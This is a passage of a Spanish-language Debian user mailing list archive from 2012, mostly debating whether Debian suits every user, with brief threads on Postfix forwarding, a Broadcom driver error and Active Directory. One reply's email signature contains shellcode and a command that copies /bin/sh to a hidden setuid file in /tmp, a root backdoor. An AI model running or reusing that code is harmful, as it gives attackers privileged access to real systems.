http://lists.debian.org/caacm3-5vtyoik-uzxx635a8p_4t1twdjgkuexjobdfxgdts...@mail.gmail.com
Re: ¿Es Debian para todo el mundo? (Era: Nota: Debian cambia GNOME por Xfce para Wheezey. La razón: GNOME es demasiado grande para caber en un CD)
El Fri, 10 Aug 2012 19:34:14 +0200, Marc Olive escribió: On Friday 10 August 2012 18:56:22 Camaleón wrote: Pero duermo mas tranquilo sabiendo que he dado un buen consejo, si es que Debian (o cualquier otro sistema) no es una opción adecuada. Pero es que sí es una opción adecuada o eso es lo que pretenden. Si no lo consiguen es porque algo falla y si algo falla hay que solucionarlo en lugar de mirar para otro lado y enviar a los usuarios a cualquier otra distribución por muy prima-hermana que sea. Seguramente seria bonito que Debian (o GNU/Linux, para ser mas generales) sirviera para todo el mundo, pero no es así y me extrañaria muchísimo que lo llegue a ser algún dia. Bueno, se anuncia como el sistema operativo universal. Y esa etiqueta se la han puesto ellos mismos, por algo será. Yo al menos intento esforzarme (personalmente) en que así sea, ayudando en lo que puedo, traduciendo al español para que sea más accesible a los usuarios que no hablan inglés, dando soporte en las listas e informando de fallos. Si todos hiciéramos lo mismo seguramente conseguiríamos que fuera un sistema mucho más amigable y accesible. Para todos y para todo. Y tampoco estoy del todo seguro que sea buena idea, un monopolio es un monopolio, sin competéncia y sin apenas innovación (¿para qué?). Claro que en el mundo GNU las leyes a las que estamos acostumbrados no siempre sirven y quizas si fuera un monopolio bueno. No lo sé. A mí sí me interesa que llegue a más sitios, a más usuarios, más que nada porque lo que a mí me sirve (y gusta) entiendo que a los demás también les puede servir (y gustar) y que quizá lo único que les impida probarlo es precisamente esa supuesta dificultad inicial con la que se pueden encontrar (p. ej., el instalador de Debian es de los menos intuitivos y personalizables que he visto). Pasado el susto inicial y una vez dentro, todo se vuelve más sencillo. El mayor problema que le veo yo a GNU/Linux se llama Micro$oft con sus hijos docx, xlsx y pptx, además de todo su inmenso poder en dólares. A ver si la crisis acaba con el dinero de una vez por todas, eso ayudaria ;-) No veo una relación directa entre MS y lo que estamos comentando. Quien use Windows y sus formatos lo hará por sus motivos. Antes que os tireis a la yugular, LibreOffice hace lo que puede con los formatos propietarios, y teniendo en cuenta todas las trabas que pone M$, sobretodo cambiando el formato a menudo, LibreOffice ha hecho un trabajo encomiable, pero no abre correctamente todos los archivos de M$ Office, pptx sobre todo. Eso ya lo sabemos... la compatibilidad de los archivos no existe al 100%, ni siquiera entre distintas versiones de LO... ¿y? :-? Y si, odt es un formato ISO, pero eso díselo a mi jefe y a todos los clientes. Además, los dólares de M$ también han hecho de docx un estándard ISO, con disparates como aceptar fechas no-ISO en estándares ISO. Trístemente, esto se consigue con el poder del dinero. Que sí, que sí... si yo tengo windows en la oficina por doquier. Y no me importaría tener algún sistema con FreeBSD o con Solaris (a los Mac no los trago, lo siento). Cada uno de ellos es fuerte en su segmento, sirve para unas cosas y flaquea en otras, así que mejor tener cerca a todos para ir picoteando de cada uno :-) Sin (buena) conexión creo yo que vas a necesitar unos cuantos CDs, no solo el primero. Lo decía justo en el siguiente párrafo. Sólo el primero es (o era) suficiente para tener un entorno gráfico (GNOME, KDE, XFCE o LXDE) funcionando tras la instalación. Bueno, los programas cada dia ocupan más, parece que ha llegado la hora de dar muerte a los CDs. Para eso están los DVDs. ¿Alguien sigue usando la disquetera? Sí, yo tengo disqueteras en todos los equipos (para actualizar la BIOS es lo mejor -a veces lo único- que hay). Y el puerto serie (RS-232) me resulta vital para los modem-faxes. Es ley de vida, renovar o morir, o el precio que debemos pagar por todas las innovaciones. Otra alternativa es instalar las versiones antiguas de Debian, con las versiones antiguas de los programas que no ocupan tanto y que caben en un CD. Creo que no has entendido el principal punto de mi queja: no me importa que se reestructure el sistema de imágenes (lo cual es normal, todo cambia) sino que se haga sin consenso ni sin consulta previa. Nada más. Todo lo que sea consultado y decidido por mayoría me parecía, al menos, justo. Y para poder disfrutar de estos programas también es necesario connexiones a Internet más rápidas, sintiéndolo mucho por todos aquellos que no la tienen, o tendrán que armarse de mucha más paciéncia (aún recuerdo el dia que dejé el módem de 33.6 kbits descargando la última versión de Netscape, 74Mb, durante toda la noche). Bueno, por ahí sí que no paso: si empezamos a quitar facilidades a los que menos facilidades tienen, apaga y vámonos :-/ Precisamente uno de los puntos fuertes de Linux siempre ha sido su mejor
Re: ¿Es Debian para todo el mundo? (Era: Nota: Debian cambia GNOME por Xfce para Wheezey. La razón: GNOME es demasiado grande para caber en un CD)
On Friday 10 August 2012 19:46:56 Ariel wrote: El día 10 de agosto de 2012 14:34, Marc Olive marc.ol...@blauadvisors.com escribió: Seguramente seria bonito que Debian (o GNU/Linux, para ser mas generales) sirviera para todo el mundo, pero no es así y me extrañaria muchísimo que lo llegue a ser algún dia. No entiendio porque dices que no es para todo el mundo, si dieras alguna ejemplo de algo que le falta, estaria bueno para que se puede discutir mejor. Como decia en el mensaje, para un usuario casero, un ejemplo es poder abrir cualquier docx y pptx, como los chorras que llegan en correos cadena (que tanto me disgutan, pero parece que gustan al resto de la gente). O poder hacerse sus álbumes de fotos con el programa de Photoprix[1]. O un larguísimo etcétera. Debo decir que para mi son totalmente inecesarios, y si yo fuera el señor Photoprix me bastaría con PDFs, o mejor aún, PSs, pero la realidad es otra. Para empresas, incomprensiblemente, muchas usan servidores Windows, que es una aberración, pero parece ser que eso de tener a M$ detrás les da algún tipo de seguridad que no entiendo. Por no hablar de Outlook y Exchange, con los añadidos al correo electrónico que M$ se ha sacado de la manga (¿que es eso de cancelar correos una vez _enviados_?), o los servidores AD (aún no he cogido el concepto de dominio que tiene Windows), ignoro por completo por qué LDAP no les sirve. Que conste que yo uso Debian, en mi casa y en el trabajo, tanto para el PC de escritorio como para los servidores de la empresa que, por suerte, en ellos mando y controlo yo. El resto de empleados intento convencer a los jefes que les pongan MacOS, por aquello de tener M$ Office, aunque tambien tengo que aguantar algunos (pocos) Windows. Pero cuando sales por ahí a ver mundo, te encuentras con Windows. Y tampoco estoy del todo seguro que sea buena idea, un monopolio es un monopolio, sin competéncia y sin apenas innovación (¿para qué?). Claro que en el mundo GNU las leyes a las que estamos acostumbrados no siempre sirven y quizas si fuera un monopolio bueno. No lo sé. No tiene nada que ver un monopolio con lo que se estaba hablando. No se cual es el concepto de monopolio que tenes. No es de lo que se hablaba, por eso cambié el asunto del correo. Un monopolio es un producto con una cuota de mercado cercano al 100%, que seria el caso de Debian si fuera para todo el mundo, y por consiguiente, todo el mundo lo usuara. saludos! [1] http://www.fotoprix.com/fotolibro_album_fotos_digital/requisitos_ordenador -- Marc Olivé Blau Advisors www.blauadvisors.com signature.asc Description: This is a digitally signed message part.
Re: ¿Es Debian para todo el mundo? (Era: Nota: Debian cambia GNOME por Xfce para Wheezey. La razón: GNOME es demasiado grande para caber en un CD)
El día 10 de agosto de 2012 15:10, Marc Olive marc.ol...@blauadvisors.com escribió: On Friday 10 August 2012 19:46:56 Ariel wrote: El día 10 de agosto de 2012 14:34, Marc Olive marc.ol...@blauadvisors.com escribió: Seguramente seria bonito que Debian (o GNU/Linux, para ser mas generales) sirviera para todo el mundo, pero no es así y me extrañaria muchísimo que lo llegue a ser algún dia. No entiendio porque dices que no es para todo el mundo, si dieras alguna ejemplo de algo que le falta, estaria bueno para que se puede discutir mejor. Como decia en el mensaje, para un usuario casero, un ejemplo es poder abrir cualquier docx y pptx, como los chorras que llegan en correos cadena (que tanto me disgutan, pero parece que gustan al resto de la gente). O poder hacerse sus álbumes de fotos con el programa de Photoprix[1]. O un larguísimo etcétera. Debo decir que para mi son totalmente inecesarios, y si yo fuera el señor Photoprix me bastaría con PDFs, o mejor aún, PSs, pero la realidad es otra. Para empresas, incomprensiblemente, muchas usan servidores Windows, que es una aberración, pero parece ser que eso de tener a M$ detrás les da algún tipo de seguridad que no entiendo. Por no hablar de Outlook y Exchange, con los añadidos al correo electrónico que M$ se ha sacado de la manga (¿que es eso de cancelar correos una vez _enviados_?), o los servidores AD (aún no he cogido el concepto de dominio que tiene Windows), ignoro por completo por qué LDAP no les sirve. Que conste que yo uso Debian, en mi casa y en el trabajo, tanto para el PC de escritorio como para los servidores de la empresa que, por suerte, en ellos mando y controlo yo. El resto de empleados intento convencer a los jefes que les pongan MacOS, por aquello de tener M$ Office, aunque tambien tengo que aguantar algunos (pocos) Windows. Pero cuando sales por ahí a ver mundo, te encuentras con Windows. Pero si hablamos en esos terminos de compatibilidad con Windows, todas las distribuciones pierden. No tiene porque ser una distro compatible con las cosas de win. Yo entendi que la discusion se planteaba en base a si un usuario novato podria tambien ser usuario de Debian, y si, es un sistema completo. Con varias opciones de instalacion, tanto para expertos como neofitos. Ahora plantear compatibilidad con otras cosas alejadas al modelo de software libre es otro tema aparte. Que no necesariamente lo debe cumplir. Y tampoco estoy del todo seguro que sea buena idea, un monopolio es un monopolio, sin competéncia y sin apenas innovación (¿para qué?). Claro que en el mundo GNU las leyes a las que estamos acostumbrados no siempre sirven y quizas si fuera un monopolio bueno. No lo sé. No tiene nada que ver un monopolio con lo que se estaba hablando. No se cual es el concepto de monopolio que tenes. No es de lo que se hablaba, por eso cambié el asunto del correo. Un monopolio es un producto con una cuota de mercado cercano al 100%, que seria el caso de Debian si fuera para todo el mundo, y por consiguiente, todo el mundo lo usuara. No es del todo cierto, porque ademas no deberia darle lugar a ninguna otra opcion en competir, y de echo existen otras opciones. No se pretende que la use el 100%, pero si que cualquiera pueda ser usuario. -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/CAACM3-6+L86EZMoym5M2nJHNsMm=6xvywltd-sv1wfwprus...@mail.gmail.com
Re: Reenvio correo Posftix
El 10/08/12 17:07, Azu Carlitox escribió: Hola, les traslado el siguiente problema, a ver si alguno sabe como arreglarlo. Tengo dos servidores de correos, uno de ellos con postfix, donde tengo configurado el dominio hola.com http://hola.com, cuando envío un mail desde una cuenta de mi postfix a pru...@hola.com mailto:pru...@hola.com, quiero que si la cuenta prueba no existe en el servidor, el mail me lo envíe al otro servidor de correo. alguno tiene idea de como hacer esto? Gracias http://www.postfix.org/transport.5.html la parte que te interesea es TABLE SEARCH ORDER un saludo. -- Tanto en los deportes como en todo lo demás, soy un experto. Pero para mantener viva mi inteligencia natural y fuera de serie, tengo que comer mucho -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/5025522a.6090...@limbo.deathwing.net
Re: ¿Es Debian para todo el mundo? (Era: Nota: Debian cambia GNOME por Xfce para Wheezey. La razón: GNOME es demasiado grande para caber en un CD)
Terciando en la discusión, y sin ganas de crear barullo, comento que por un accidente sufrido no hace mucho, tuve que bajar una Debian live rescue. Y esto me permitió ver las Debian live, y puedo asegurar que no tienen mucho que envidiarle a las *buntu. http://live.debian.net/ Que es perfectible, sí, como todo. Pero no olvidemos que a su manera, Canonical es una empresa, y Debian no, lo que implica que el plan de armado de Debian no está dirigido a recolectar clientes; no hay un interés proselitista, y por ende, puede haber desprolijidades estéticas, como ser pantallas de instalación que dan datos en forma fría, en lugar de los fuegos artificiales de otros S/O. Por esta razón, puede ser que no sea tan evidente que cualquier persona puede usar Debian, lo que no quiere decir que no sea posible. ¿Es Debian para todo el mundo? Me recuerda la frase de Auguste Gusteau: ¡Cualquiera puede cocinar! Y para contestarla, adjunto la última crítica de Anton Ego: En muchos sentidos el trabajo de un crítico es fácil. Arriesgamos poco, porque gozamos de una posición que está por encima de los que exponen su trabajo y a sí mismos a nuestro criterio. Nos regodeamos en las críticas negativas que son divertidas de escribir y de leer; pero el hecho más amargo que debemos afrontar los críticos es que, a la hora de la verdad, cualquier producto mediocre tiene, probablemente, más sentido que la crítica en la que lo tachamos de basura. Pero hay veces en las que un crítico realmente se arriesga en 'pro' del descubrimiento y la defensa de algo nuevo. El mundo es hostil para los nuevos talentos y las nuevas creaciones; lo nuevo, necesita amigos. Anoche yo viví una nueva experiencia, una comida extraordinaria procedente de alguien singularmente inesperado. Afirmar que tanto la comida como el cocinero han cuestionado mis ideas preconcebidas sobre la buena cocina, sería quedarse muy corto. Me han estremecido hasta lo más profundo. En el pasado, nunca oculte mi desdén por el lema del Chef Gusteau “Cualquiera puede cocinar”, pero me doy cuenta de que no había comprendido realmente lo que quería decir con ello. No es que cualquiera pueda ser un gran artista, sino que los grandes artistas pueden proceder de cualquier lugar. Resulta difícil imaginar orígenes más humildes que los del genio que cocina hoy en Gusteau's, y que, en opinión de un servidor, es nada menos que el mejor Chef de Francia. Volveré pronto a Gusteau's hambriento de creaciones. En pocas palabras, sí, Debian es para todo el mundo. Pero dentro de ese mundo, habrá algunos que hagan maravillas, y otros que simplemente la usarán. ¿Es Windows para todo el mundo? ¿Lo es? ¿Han intentado realmente montar una red, configurar periféricos extraños, encontrar los errores en un registro, y muchos etcéteras? ¿Se han comunicado con el soporte técnico de Microsoft para instalar un disco rígido, y luego de 15 días de idas y vueltas, los técnicos de Microsoft Argentina se han rendido, y uno, con mucha paciencia y ayuda del otro lado del mundo, por correo electrónico y en mal inglés, logró hacer funcionar lo que los sabihondos pagos no pudieron? No, muchos no lo han hecho, ni en GNU/Linux ni en Windows ni en MAC. Si tuviese el dinero suficiente para comprar sin importarme los miles de programas disponibles para Windows, tal vez nunca hubiese conocido GNU/Linux. Bah, sí, lo hubiese conocido, dado que manejaba Unix allá por los fines de los '80 en equipos Bull. Por eso, cuando alguien dice que Linux no es para cualquiera, lo pongo como equivalente a Manejar un auto no es para cualquiera. No es para cualquiera que no se dé el tiempo necesario para aprender. Y en manejar un auto, uno puede decidir si quiere aprender a manejar un auto para ir al mercado o para competir en Indianápolis. Con el primero son unas pocas maniobras básicas; con el segundo, bueno, no tan básico. ¿Cuántos usuarios cualquiera conocidos tenemos que cada tanto llevan la PC con Windows al técnico por una falla del disco rígido?, que, la mayor parte de las veces es un disco saturado de archivos temporales de Internet Explorer. Pareciera que quien usa una Windows o MAC, si tiene un problema, asume que ir a un técnico es lo más normal del mundo, pero si usa GNU/Linux, no. Y como no puede arreglárselas sin ayuda con los problemas de este último, no es para cualquiera. Y un error de los que usamos mucho las máquinas, de decir ¡Eso es re fácil! No es fácil, ni instalar Windows, ni instalar GNU/Linux. Ni instalar sus programas. Linux tiene problemas de dependencias. ¿Y Windows? El NET Framework que usted necesita no está instalado. ¿Qué diferencia hay? Hay que instalar NET Framework o Hay que instalar libc6 me suena igual a mi mecánico cuando dice Hay que cambiar la crapodina. No tengo idea de qué es la crapodina ni para qué sirve. Pero no me cabe dudas que si me tomara un tiempo, aprendería qué es, para qué sirve y cómo se usa. Sí, de nuevo, Debian es para
Re: ¿Es Debian para todo el mundo? (Era: Nota: Debian cambia GNOME por Xfce para Wheezey. La razón: GNOME es demasiado grande para caber en un CD)
On Friday 10 August 2012 20:04:06 Camaleón wrote: El Fri, 10 Aug 2012 19:34:14 +0200, Marc Olive escribió: Y tampoco estoy del todo seguro que sea buena idea, un monopolio es un monopolio, sin competéncia y sin apenas innovación (¿para qué?). Claro que en el mundo GNU las leyes a las que estamos acostumbrados no siempre sirven y quizas si fuera un monopolio bueno. No lo sé. A mí sí me interesa que llegue a más sitios, a más usuarios, más que nada porque lo que a mí me sirve (y gusta) entiendo que a los demás también les puede servir (y gustar) y que quizá lo único que les impida probarlo es precisamente esa supuesta dificultad inicial con la que se pueden encontrar (p. ej., el instalador de Debian es de los menos intuitivos y personalizables que he visto). Pasado el susto inicial y una vez dentro, todo se vuelve más sencillo. Yo antes iba predicando con los CDs de Debian debajo el brazo, pero después de varios fracasos llegué a la conclusión que cada cual es libre de joderse como mejor le plazca. Y que no existe el sistema ideal para todo el mundo, cada cual tiene el suyo. El mayor problema que le veo yo a GNU/Linux se llama Micro$oft con sus hijos docx, xlsx y pptx, además de todo su inmenso poder en dólares. A ver si la crisis acaba con el dinero de una vez por todas, eso ayudaria ;-) No veo una relación directa entre MS y lo que estamos comentando. Quien use Windows y sus formatos lo hará por sus motivos. Bueno, por que buena parte de todo el mundo quiere poder abrir todos los documentos que le envian, y si no pueden ni cambian de opinión, Linux no es para ellos. Antes que os tireis a la yugular, LibreOffice hace lo que puede con los formatos propietarios, y teniendo en cuenta todas las trabas que pone M$, sobretodo cambiando el formato a menudo, LibreOffice ha hecho un trabajo encomiable, pero no abre correctamente todos los archivos de M$ Office, pptx sobre todo. Eso ya lo sabemos... la compatibilidad de los archivos no existe al 100%, ni siquiera entre distintas versiones de LO... ¿y? :-? Si la gente no puede abrir los documentos y usan Linux, dicen pestes de Linux, aunque tu y yo sabemos que no es problema de Linux, ni siquiera de LibreOffice, eso a ellos les trae sin cuidado, salen echando pestes de Linux, cosa que no quiero. Luego tienen los mismos problemas por no tener la última versión de M$ Office, pero entonces parece que si lo entienden y se conforman con su desgracia (yo no lo entiendo). Y si, odt es un formato ISO, pero eso díselo a mi jefe y a todos los clientes. Además, los dólares de M$ también han hecho de docx un estándard ISO, con disparates como aceptar fechas no-ISO en estándares ISO. Trístemente, esto se consigue con el poder del dinero. Que sí, que sí... si yo tengo windows en la oficina por doquier. Y no me importaría tener algún sistema con FreeBSD o con Solaris (a los Mac no los trago, lo siento). Cada uno de ellos es fuerte en su segmento, sirve para unas cosas y flaquea en otras, así que mejor tener cerca a todos para ir picoteando de cada uno :-) Si cada uno es fuerte en su segmento, no hay ninguno para todo el mundo. Es ley de vida, renovar o morir, o el precio que debemos pagar por todas las innovaciones. Otra alternativa es instalar las versiones antiguas de Debian, con las versiones antiguas de los programas que no ocupan tanto y que caben en un CD. Creo que no has entendido el principal punto de mi queja: no me importa que se reestructure el sistema de imágenes (lo cual es normal, todo cambia) sino que se haga sin consenso ni sin consulta previa. Nada más. Todo lo que sea consultado y decidido por mayoría me parecía, al menos, justo. Ok. Y para poder disfrutar de estos programas también es necesario connexiones a Internet más rápidas, sintiéndolo mucho por todos aquellos que no la tienen, o tendrán que armarse de mucha más paciéncia (aún recuerdo el dia que dejé el módem de 33.6 kbits descargando la última versión de Netscape, 74Mb, durante toda la noche). Bueno, por ahí sí que no paso: si empezamos a quitar facilidades a los que menos facilidades tienen, apaga y vámonos :-/ ¡Coño! pero los programas nuevos con las nuevas funcionalidades y colorines ocupan mas espacio. Vas a tardar más en descargarlos, no hay duros a cuatro pesetas, que se decía antes. Si quieres programas mas nuevos que hagan mas cosas y mas bonitas, necesitas mas recursos (HD, RAM, connexion a internet, etc). O eso, o cambiamos las leyes de la física (o volvemos a Lenny, que aún está ahí). Precisamente uno de los puntos fuertes de Linux siempre ha sido su mejor soporte para el hardware más antiguo y su magnífica flexibilidad en adaptarse a cualquier entorno. Si nos olvidamos de nuestros orígenes y queremos jugar para competir exclusivamente en la liga de los mayores (Windows y MacOS) para ser igual de guays, tendremos que prepararnos también para ser tan canallas como ellos y
Re: ¿Es Debian para todo el mundo? (Era: Nota: Debian cambia GNOME por Xfce para Wheezey. La razón: GNOME es demasiado grande para caber en un CD)
El 10/08/12 15:10, Marc Olive escribió: Para empresas, incomprensiblemente, muchas usan servidores Windows, que es una aberración, pero parece ser que eso de tener a M$ detrás les da algún tipo de seguridad que no entiendo. Caso real que vi y tal vez conteste tu pregunta: Sistema de red corriendo bajo RedHat, hubo un problema y el Ingeniero Electrónico contratado como administrador, no dio pié con bola. Hasta que un conocido de un gerente dio en la tecla. RedHat es Linux, y no es confiable, instalen Windows que es una gran empresa. Se cambió el RedHat por un WindowsNT, y SE CAMBIÓ AL INGENIERO ELECTRÓNICO POR UN INGENIERO EN SISTEMAS. La gerencia sigue convencida que el problema se debió al sistema y no al inútil del ingeniero, que de transistores sabía mucho, pero de lógica de redes daba asco. JAP -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/502557c6.10...@gmail.com
Re: ¿Es Debian para todo el mundo? (Era: Nota: Debian cambia GNOME por Xfce para Wheezey. La razón: GNOME es demasiado grande para caber en un CD)
On Friday 10 August 2012 20:49:42 Debian GMail wrote: El 10/08/12 15:10, Marc Olive escribió: Para empresas, incomprensiblemente, muchas usan servidores Windows, que es una aberración, pero parece ser que eso de tener a M$ detrás les da algún tipo de seguridad que no entiendo. Caso real que vi y tal vez conteste tu pregunta: Sistema de red corriendo bajo RedHat, hubo un problema y el Ingeniero Electrónico contratado como administrador, no dio pié con bola. Hasta que un conocido de un gerente dio en la tecla. RedHat es Linux, y no es confiable, instalen Windows que es una gran empresa. Se cambió el RedHat por un WindowsNT, y SE CAMBIÓ AL INGENIERO ELECTRÓNICO POR UN INGENIERO EN SISTEMAS. Dicho en plata: ¡ignoráncia al poder! me encanta y me da escalofrios. Y hablo de la ignoráncia del gerente, que el electrónico no tiene la culpa (o si, por mentir en el currículum) que le metan en fregados para los que no está preparado. La gerencia sigue convencida que el problema se debió al sistema y no al inútil del ingeniero, que de transistores sabía mucho, pero de lógica de redes daba asco. JAP Por cierto, muy bueno tu otro correo. Lamentablemente, y siguiendo con la ignoráncia al poder, mucha gente no quiere aprender a cocinar. -- Marc Olivé Blau Advisors www.blauadvisors.com signature.asc Description: This is a digitally signed message part.
Re: ¿Es Debian para todo el mundo? (Era: Nota: Debian cambia GNOME por Xfce para Wheezey. La razón: GNOME es demasiado grande para caber en un CD)
El 10/08/12 15:46, Marc Olive escribió: On Friday 10 August 2012 20:04:06 Camaleón wrote: El Fri, 10 Aug 2012 19:34:14 +0200, Marc Olive escribió: Y tampoco estoy del todo seguro que sea buena idea, un monopolio es un monopolio, sin competéncia y sin apenas innovación (¿para qué?). Claro que en el mundo GNU las leyes a las que estamos acostumbrados no siempre sirven y quizas si fuera un monopolio bueno. No lo sé. A mí sí me interesa que llegue a más sitios, a más usuarios, más que nada porque lo que a mí me sirve (y gusta) entiendo que a los demás también les puede servir (y gustar) y que quizá lo único que les impida probarlo es precisamente esa supuesta dificultad inicial con la que se pueden encontrar (p. ej., el instalador de Debian es de los menos intuitivos y personalizables que he visto). Pasado el susto inicial y una vez dentro, todo se vuelve más sencillo. Yo antes iba predicando con los CDs de Debian debajo el brazo, pero después de varios fracasos llegué a la conclusión que cada cual es libre de joderse como mejor le plazca. Y que no existe el sistema ideal para todo el mundo, cada cual tiene el suyo. Aplausos para esta frase que has escrito aquí arriba. El mayor problema que le veo yo a GNU/Linux se llama Micro$oft con sus hijos docx, xlsx y pptx, además de todo su inmenso poder en dólares. A ver si la crisis acaba con el dinero de una vez por todas, eso ayudaria ;-) No veo una relación directa entre MS y lo que estamos comentando. Quien use Windows y sus formatos lo hará por sus motivos. Bueno, por que buena parte de todo el mundo quiere poder abrir todos los documentos que le envian, y si no pueden ni cambian de opinión, Linux no es para ellos. Antes que os tireis a la yugular, LibreOffice hace lo que puede con los formatos propietarios, y teniendo en cuenta todas las trabas que pone M$, sobretodo cambiando el formato a menudo, LibreOffice ha hecho un trabajo encomiable, pero no abre correctamente todos los archivos de M$ Office, pptx sobre todo. Eso ya lo sabemos... la compatibilidad de los archivos no existe al 100%, ni siquiera entre distintas versiones de LO... ¿y? :-? Donde trabajo, a muchos tuve que instalarles los conversores de docx y xlsx en... ¡Microsoft Office 2003! O sea, que en todas partes se cuecen habas. Si la gente no puede abrir los documentos y usan Linux, dicen pestes de Linux, aunque tu y yo sabemos que no es problema de Linux, ni siquiera de LibreOffice, eso a ellos les trae sin cuidado, salen echando pestes de Linux, cosa que no quiero. Luego tienen los mismos problemas por no tener la última versión de M$ Office, pero entonces parece que si lo entienden y se conforman con su desgracia (yo no lo entiendo). Y si, odt es un formato ISO, pero eso díselo a mi jefe y a todos los clientes. Además, los dólares de M$ también han hecho de docx un estándard ISO, con disparates como aceptar fechas no-ISO en estándares ISO. Trístemente, esto se consigue con el poder del dinero. Que sí, que sí... si yo tengo windows en la oficina por doquier. Y no me importaría tener algún sistema con FreeBSD o con Solaris (a los Mac no los trago, lo siento). Cada uno de ellos es fuerte en su segmento, sirve para unas cosas y flaquea en otras, así que mejor tener cerca a todos para ir picoteando de cada uno :-) Si cada uno es fuerte en su segmento, no hay ninguno para todo el mundo. Es ley de vida, renovar o morir, o el precio que debemos pagar por todas las innovaciones. Otra alternativa es instalar las versiones antiguas de Debian, con las versiones antiguas de los programas que no ocupan tanto y que caben en un CD. Creo que no has entendido el principal punto de mi queja: no me importa que se reestructure el sistema de imágenes (lo cual es normal, todo cambia) sino que se haga sin consenso ni sin consulta previa. Nada más. Todo lo que sea consultado y decidido por mayoría me parecía, al menos, justo. Ok. Y para poder disfrutar de estos programas también es necesario connexiones a Internet más rápidas, sintiéndolo mucho por todos aquellos que no la tienen, o tendrán que armarse de mucha más paciéncia (aún recuerdo el dia que dejé el módem de 33.6 kbits descargando la última versión de Netscape, 74Mb, durante toda la noche). Bueno, por ahí sí que no paso: si empezamos a quitar facilidades a los que menos facilidades tienen, apaga y vámonos :-/ ¡Coño! pero los programas nuevos con las nuevas funcionalidades y colorines ocupan mas espacio. Vas a tardar más en descargarlos, no hay duros a cuatro pesetas, que se decía antes. Si quieres programas mas nuevos que hagan mas cosas y mas bonitas, necesitas mas recursos (HD, RAM, connexion a internet, etc). O eso, o cambiamos las leyes de la física (o volvemos a Lenny, que aún está ahí). Hoy, justo hoy, logré un hito: En el grupo de oficinas que de mí dependen, he eliminado el último Nero pirateado. Y se los he cambiado por InfraRecorder. Y algunos han visto que es MUCHO MÁS LIVIANO. Precisamente uno de
Re: Nota: Debian cambia GNOME por Xfce para Wheezey. La razón: GNOME es demasiado grande para caber en un CD
El 09/08/12 12:05, Francesc Gordillo i Cortínez escribió: El Thu, 9 Aug 2012 15:48:57 + (UTC) Camaleónnoela...@gmail.com escribió: El Thu, 09 Aug 2012 12:28:24 -0300, Augusto Lescano escribió: (ese html...) Me parece muy bien. Lo que no entiendo es ¿Qué hay de malo con esto? Si quieren gnome seguro estará en el segundo o tercer cd. No tiene nada de malo (GNOME seguirá estando disponible en una imagen aparte), pero me parece un poco radical ese tipo de cambio (modificar el instalador), en este momento (wheezy ya ha sido congelada) y todo eso sin consultar antes a los usuarios. Además, ¿por qué XFCE? ¿No hay otras opciones? Saludos, De los escritorios ligeros a mi me parece el mas amigable, lo cierto es que se parece mucho a gnome2. Saludos. Bueno mas de lo mismo, a mi me parece estupendo. xfce es una gran aplicación y todo mi respeto a la gente que la desarrolla y aporta a la comunidad con su trabajo. -- char esp[] _attribute_ ((section(.text))) /* e.s.p release */ = \xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68 \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99 \xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 \x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56 \x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31 \xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69 \x6e\x2f\x73\x68\x00\x2d\x63\x00 cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;; Linux Counter ( http://counter.li.org ) --* Usuario #551263 -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/5025687c.3050...@linuxmail.org
ERROR @wl_cfg80211_get_station : Could not get rssi (-22)
Hola a todos de nuevo! Hace unos días, compilé el driver oficial de Broadcom para mi tarjeta inalámbrica, pero ahora tengo los logs llenos de este mensaje: ERROR @wl_cfg80211_get_station : Could not get rssi (-22) He buscado por internet, y tiene buena pinta este patch: https://aur.archlinux.org/packages.php?ID=19514 ¿Puede funcionar este patch en Debian 6? Es que no se que mirar para saberlo Un saludo y gracias! -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/ca+nfu8tbckrhcablbgf18qwdu0zjwcd5buosthqy+crt0b2...@mail.gmail.com
Re: Consulta con dominio en windows y unir a AD 2003
El Wed, 8 Aug 2012 18:37:22 -0600 Carlos E. Vargas Rojas carlos...@gmail.com escribió: Hola, hace poco instalamos en el lugar donde trabajo un equipo con debia squezze. Todo el sistema de la empresa trabaja bajo un dominio que se creo con windows server 2003. Lo que queremos es no comprar mas licencias de windows y comenzar a socializar entre los empleados el uso de linux pero para ello debemos asegurarnos que los programas que nosotros utilizamos funcionen bien en esta plataforma. El problema yace cuando comienzo a configurar el debian para pegarme al dominio, navegando encontré esta guia que parece muy completa ( http://www.esdebian.org/articulos/24000/unir-debian-dominio-active-directory ) y seguí las instrucciones, sustituí y agregue todo lo que me decía sin embargo no funciono, no se como proceder. Yo creo que el problema lo tengo porque no estoy interpretando bien lo del dominio. En la empresa hay un servidor con el dominio llamado nacional, cuya dirección es 10.1.0.6 y el servidor dns esta en 10.1.0.7, son direcciones estáticas, lo que pasa que el dominio es un solo nombre (nacional) pero en la guia viene como pruebas.local yo sustituí todo lo que decía pruebas.local por nacional pero en el paso 6 donde solo se pone pruebas, no se que poner Otro detalle es que el nombre del servidor es nacional, al igual que el dominio Les agradecería cualquier ayuda que me pudieran brindar Instala likewiseopen -- Carlos E. Vargas Rojas Voy a pasar por la vida una sola vez: por eso cualquier cosa buena que yo pueda hacer, o alguna amabilidad que pueda hacerle a algún ser humano, debo hacerlo ahora..porque no pasaré de nuevo por aquí. --MTC-- -- Angel Claudio Alvarez an...@angel-alvarez.com.ar -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: 